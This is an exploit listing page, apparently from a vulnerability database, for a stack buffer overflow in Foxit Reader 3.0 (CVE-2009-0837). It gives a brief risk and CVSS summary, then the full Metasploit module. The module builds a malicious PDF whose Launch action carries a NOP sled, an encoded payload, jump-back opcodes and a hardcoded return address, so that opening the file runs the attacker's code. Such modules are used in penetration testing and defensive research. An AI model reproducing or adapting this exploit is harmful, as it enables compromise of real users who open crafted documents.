Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow

2012.05.22
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier. Due to the way Foxit Reader handles the input from an "Launch" action, it is possible to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Francisco Falcon', # Discovery 'bannedit' # Metasploit module ], 'Version' => '$Revision: 14069 $', 'References' => [ [ 'CVE' , '2009-0837' ], [ 'OSVDB', '55614' ], [ 'BID', '34035'], [ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e" }, 'Platform' => 'win', 'Targets' => [ [ 'Foxit Reader 3.0 Windows XP SP2', { 'Ret' => 0x74d34d3f} ], # ebp + offset ], 'DisclosureDate' => 'Mar 09 2009', 'DefaultTarget' => 0)) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit pdf = make_pdf file_create(pdf) handler end def make_pdf action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action action << make_nops(321 - 5) # make_nops(21) action << payload.encoded action << "\xe9\xe8\xfb\xff\xff" # Jmp back to the NOPs before the payload action << "\xeb\xf9" + make_nops(2) # Jmp to the near jump action << [target.ret].pack('V') action << "\x92" * 16 action << ")>>/NewWindow true>>" pdf = "%PDF-1.4\n" pdf << "1 0 obj\n" pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]" pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R " pdf << "/Annots[ 24 0 R 25 0 R 9 0 R ]>>\n" pdf << "endobj\n" pdf << "4 0 obj\n" pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n" pdf << "endobj\n" pdf << "7 0 obj\n" pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n" pdf << "endobj\n" pdf << "9 0 obj\n" pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ " pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]" pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n" pdf << "endobj\n" pdf << "16 0 obj\n" pdf << action pdf << "endobj\n" pdf << "17 0 obj\n" pdf << "<</PV 16 0 R >>\n" pdf << "endobj\n" pdf << "trailer\n" pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]" pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n" pdf << "startxref\n" pdf << "0000\n" pdf << "%%EOF\n" pdf end end

References:

http://www.coresecurity.com/content/foxit-reader-vulnerabilities


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